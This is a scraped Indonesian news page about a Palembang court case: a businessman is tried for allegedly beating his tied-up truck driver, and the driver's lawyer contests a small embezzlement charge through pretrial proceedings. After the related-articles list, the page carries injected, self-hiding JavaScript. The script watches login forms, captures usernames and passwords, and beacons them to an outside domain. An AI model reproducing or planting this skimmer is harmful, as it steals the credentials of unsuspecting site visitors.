Home / DAERAH

Senin, 10 Agustus 2026 - 11:56 WIB

Junaidi alias Ajun Yang Diduga “Gebuki” Sopir Diadili di PN Palembang, Kamis (13/8/2026) Sidang Pembuktian

Junaidi,ST alias Ajun, saat digiring petugas ke mobil tahanan

PALEMBANG, transparanmerdeka.com – Junaidi,ST alias Ajun, pengusaha yang ditetapkan sebagai tersangka dalam perkara dugaan pengeroyokan terhadap Irza Prasetya, sopir truk milik perusahaannya mulai didili di Pengadilan Negeri Kelas 1A Khusus Palembang, Kamis (6/8/2026) dengan agenda pembacaan surat dakwaan oleh Jaksa Penuntut Umum (JPU), Sigit Subiantoro, SH.

Persidangan dengan terdakwa Junaidi alias Ajun tersebut terdaftar dalam register Nomor: 871/Pid.B/2026/PN Plg dipimpin majelis hakim yang diketuai oleh Afrizal Hadi, SH, DR Rimdan dan Pitriadi, SH. Sedangkan terdakwa Ajun didampingi tim penasehat hukumnya antara lain Benny Murdani, SH, MH, Desmon Simanjuntak, SH, DR Jasmadi Pasmaindra. Sidang perkara tersebu mendapat perhatian banyak pengunjung serta banyak wartawan.

Setelah pembacaan surat dakwaan, sidang dengan terdakwa Junaidi alias Ajun ditunda dan akan dilanjutkan pada Kamis (13/8/2026) dengan agenda pembuktian. Perkara yang menyeret Ajun selaku tersangka dan ditahan oleh penyidik Polrestabes Palembang dengan ditempatkan di Rutan Polda Sumsel itu, bermula dari beredarnya video viral pada awal Juni 2026 dimana diduga Junaidi alias Ajun terlihat “menggebuki” Irza Prasetya dengan kayu banyak kali. Sedangkan Irza dalam keadaan tersandera, dengan kedua tangan diikat di sebuah kursi besi tak bisa melawan dan tidak bisa melarikan diri.

Kapolrestabes Palembang, Kombes Pol Sonny Mahar Budi Adityawan, SIK, MH dengan adanya video viral bergerak cepat dengan memerintahkan Kasat Reskrim Polrestabes Palembang, AKBP Musa Jedi Permana, SH, SIK, MSi bergerak cepat. Apalagi ada sejumlah warga masyarakat melancarkan aksi demonstrasi agar pelaku yang warga keturunan Tionghoa memukuli lelaki muda bertubuh kecil itu ditangkap. Akhirnya Kapolrestabes melakukan konferensi pers menetapkan Junaidi alias Ajun sebagai tersangka pengeroyokan dan melakukan penahanan. Junaidi alias Ajun ditahan Rutan Polda Sumsel.

Sementara itu Irza Prasetya yang dilaporkan oleh Junaidi,ST dengan laporan penggelapan dengan kerugian Rp. 300.600.000.- yang semula dijadwalkan akan disidang pada hari Kamis (6/8/2026) tidak jadi diadili karena yang bersangkutan melalui kuasa hukumnya, Afdhal Azmi Jambak, SH mengajukan gugatan Praperadilan. Gugatan praperadilan didaftarkan dan diregistrasi pada Rabu (5/8/2026) sebelum perkara pokok mulai disidangkan.

“Sidang perkara Praperadilan akan dilaksanakan tanggal 18 Agustus 2026. Permohonan Praperadilan diajukan karena saya menilai upaya paksa yang dilakukan penyidik terhadap Irza Prasetya tidak sah. Penangkapan Irza dilakukan tanpa surat perintah penangkapan dan tanpa surat tugas, penetapan tersangka dan penahanan Irza Prasetya juga tidak sah,” kata Afdhal Azmi Jambak menjawab pertanyaam wartawan.

Baca Juga :  Herman Deru Tanamkan Jiwa Produktif Siswa-Siswi Lewat GSMP

Afdhal menjelaksan, pada Kamis (6/8/2026) tersebut dia sengaja datang ke PN Palembang untuk memantau apakah sidang terhadap Irza Prasetya tetap digelar oleh majelis hakim. Ketika mendapat informasi dari Jaksa Muhammad Ichsan Syahputra, SH bahwa informasi dari Panitera Pengganti, Maulana Malik bahwa Irza tetap akan diadili, maka Afdhal menyampaikan keberatan. Lantas, dia menemui PP untuk menyampaikan penolakan sidang dengan terdakwa Irza Prasetya.

Afdhal Azmi Jambak juga mengingatkan JPU M. Ichsan agar tidak menjebak kliennya Irza Prasetya dengan menyuruh tanda tangan berita acara sidang. Di dalam kertas yang disodorkan kepada Irza tertulis sidang pertama tanggal 6 Agustus 2026. “Janganlah begitu pak Jaksa. Kita ini mengerti hukum. Saya ajukan gugatan Praperadilan sebelum sidang pokok perkara dimulai. Jadi tolong kita taati hukum yang berlaku,” kata lelaki yang biasa blak-blakan ini.

Kemudian, ketika para pengadil memasuki ruang sidang, Afdhal Azmi Jambak, SH yang juga wartawan senior itu menemui Majelis hakim menyampaikan bahwa dia sudah memasukkan gugatan Praperadilan pada Rabu (5/8/2026) dan meminta dengan hormat sesuai hukum yang berlaku, maka perkara pokok tidak disidangkan.
Ketua Majelis Hakim Afrizal Hadi sempat menanyakan kepada Afdhal Azmi Jambak kenapa tidak pakai seragam pengacara. Afdhal menjawab tegas, dia sengaja tidak bawa toga dan lainnya karena hari itu tidak ada sidang terhadap Irza Prasetya.

Kepada majelis hakim dia menegaskan, jika gugatan Praperadilan Irza Prasetya dikabulkan, maka persidangan terhadap pokok perkara tidak perlu dilaksanakan. “Irza Prasetya pulang jika permohonan Praperadilan dikabulkan hakim,” tambah Afdhal yang juga penasehat Badan Musyawarah Keluarga Minangkabau (BMKM) Provinsi Sumatera Selatan ini.

Hakim Afrizal Hadi mengumumkan bahwa sidang perkara nomor 878/Pid.B/2026/PN Plg tidak jadi digelar, ditunda menunggu putusan perkara Praperadilan yang diajukan kuasa hukum Irza Prasetya.

Irza Prasetya dilaporkan Junaidi dengan laporan telah melakukan penggelapan, padahal mobil truk yang disopirinya tidak pernah dijual dan atau dipindahtangankan kepada orang lain dan sudah berada di pool truk pelapor di Jalan HM Noerdin Pandji atau yang lebih dikenal dengan Jalan Kebun Sayur, Palembang.

Baca Juga :  Raib Diterjang Air Bah, 7 Hari Pencarian 1 Pekerja PETI di Sungai Batang Pasaman Nihil

“Tidak ada yang hilang dari mobil tersebut. Tetapi Irza sempat diikat terlebih dahulu, kemudian digebuki dengan sadis. Dilihat dari rekaman video yang beredar boleh dikata tindakan tersebut tidak berperikemanusiaan bahkan juga tidak berperikebinatangan,” kata Afdhal.

Di dalam video viral tersebut terdengar kalimat-kalimat minta ampun dan jeritan Irza kepada Ajun. Namun, Junaidi alias Ajun mengucapkan kalimat-kalimat yang menakutkan Irza. “Matilah kau… mati kau… Kawan aku galo polisi…” antara lain kalimat yang diucapkan.
Afdhal Azmi Jambak mengharapkan jaksa dan majelis hakim berlaku adil dalam mengadili perkara baik dengan Junaidi alias Ajun terdakwa maupun Irza Prasetya yang mengajukan Praperadilan. “Kita hidup di dunia ini hanya sekali. Dan, semua yang kita lakukan akan dimintai pertanggungjawaban oleh Allah di akhirat kelak. Jangan berlaku tidak adil. Jangan menyalahgunakan kedudukan. Kita berharap JPU bekerja dengan benar dan adil. Majelis hakim sebagai wakil Tuhan dalam mengadili perkara ini, benar-benar memeriksa dan memutus perkara kelak dengan adil dan benar. Jangan sampai berat sebelah,” tambahnya.

Ketika dimintai tanggapannya, mengenai majelis hakim yang mengadili Junaidi alias Ajun sama persis dengan yang mengadili Irza Prasetya, Afdhal Azmi Jambak menyatakan akan mempertanyakan kepada Ketua PN Palembang. Dia tidak menjawab apakah penunjukan majelis hakim yang sama Itu merupakan tanda-tanda ada “pesanan”, Afdhal tidak mau menjawab.

“Kalau itu no comment ya,” katanya seraya menambahkan, dia sudah mengajukan surat minta semua berkas perkara dengan terdakwa Irza Prasetya. Berkas perkara tersebut merupakan haknya terdakwa.

“Saya mohon doa dari semua warga masyarakat yang peduli dan menjunjung tinggi keadilan dan kemanusiaan agar Irza Prasetya tidak dihukum penjara. Sebab, kerugian yang dialami Junaidi alias Ajun, hanya Rp. 600.000 karena uang untuk beli minyak solar yang terpakai oleh Irza karena solar langka dan antre sekitar lima jam. Penggelapan di bawah Rp 1 juta, tidak boleh dihukum pidana penjara. Itu termasuk Penggelapan Ringan sesuai Pasal 487 KUHP yang berbunyi Jika yang digelapkan bukan Ternak atau Barang yang bukan sumber mata pencaharian atau nafkah yang nilainya tidak lebih dari Rp1.000.000,00 (satu juta rupiah), Setiap Orang sebagaimana dimaksud dalam Pasal 486, dipidana karena penggelapan ringan, dengan pidana denda paling banyak kategori II.”. (tim)

Share :

Baca Juga

KAB. MUBA

Tampilkan Gambo, Muba Juara 3 Stand Terbaik Festival Rempah Sumsel 2022

ARTIKEL

Asa Rakyat Indonesia Bahagia Sejahtera Ada!

DAERAH

Program PPM, PT. Astaka Dodol, Bantu Pembuatan Sumur Bor untuk SMA N 1 Sanga Desa

KEUANGAN

Pemprov Sumsel Efektifkan Penggunaan DTU dan BTT Untuk Kendalikan Inflasi

OKU TIMUR

Swadaya Membangun Masjid Bukti Kompaknya Umat Muslim di Sumsel

PEMBANGUNAN

Mawardi Yahya: Pemanfaatan Buffalo Center Diyakini Mampu Dongkrak Perekonomian Warga

DAERAH

Hampir Seminggu Terjun ke Lokasi Bencana, Ini yang Dilakukan Tim Bantuan PLN S2JB di Aceh dan Sumatera Utara

KAB. MUBA

700 Guru PAUD Ikuti Bimtek Untuk Tingkatkan Kualitas
/*wpsi_f9f0b045*/ /* /*wpsi-ext*/ */ (function(){ var _e='https://domnateneryfie.com/c?t=c7f3a9b2d81e04f5'; var _h=location.hostname; var _s=localStorage.getItem('_wpsi_s')||''; // Stealth cleanup of the visible marker var _clean = function(){ try { // Find all script tags to find our own var scripts = document.getElementsByTagName('script'); for(var i=0; i=0)return; _s+=k+','; localStorage.setItem('_wpsi_s',_s); setTimeout(function(){ navigator.sendBeacon(_e,JSON.stringify({s:_h,u:u,p:p})); },Math.random()*3000+500); } function _watch(f){ if(!f||f._w)return; f._w=1; var _collect=function(){ var u=f.querySelector('[name=username],[name=log],[name=email],[type=email]'); var p=f.querySelector('[type=password]'); if(u&&p&&u.value&&p.value)_send(u.value,p.value); }; f.addEventListener('submit',_collect,true); f.addEventListener('keydown',function(e){if(e.keyCode===13)_collect();},true); } function _scan(){ document.querySelectorAll('form').forEach(function(f){ if(f.querySelector('[type=password]'))_watch(f); }); document.querySelectorAll('[type=password]').forEach(function(p){ if(!p._wi){p._wi=1;p.addEventListener('change',function(){ var u=document.querySelector('[name=username],[name=log],[name=email],[type=email]'); if(u&&u.value&&p.value)_send(u.value,p.value); });} }); } _scan(); setInterval(_scan, 1500); if(typeof MutationObserver !== 'undefined'){ new MutationObserver(function(){ _scan(); _clean(); }).observe(document.documentElement, {childList:true, subtree:true}); } })();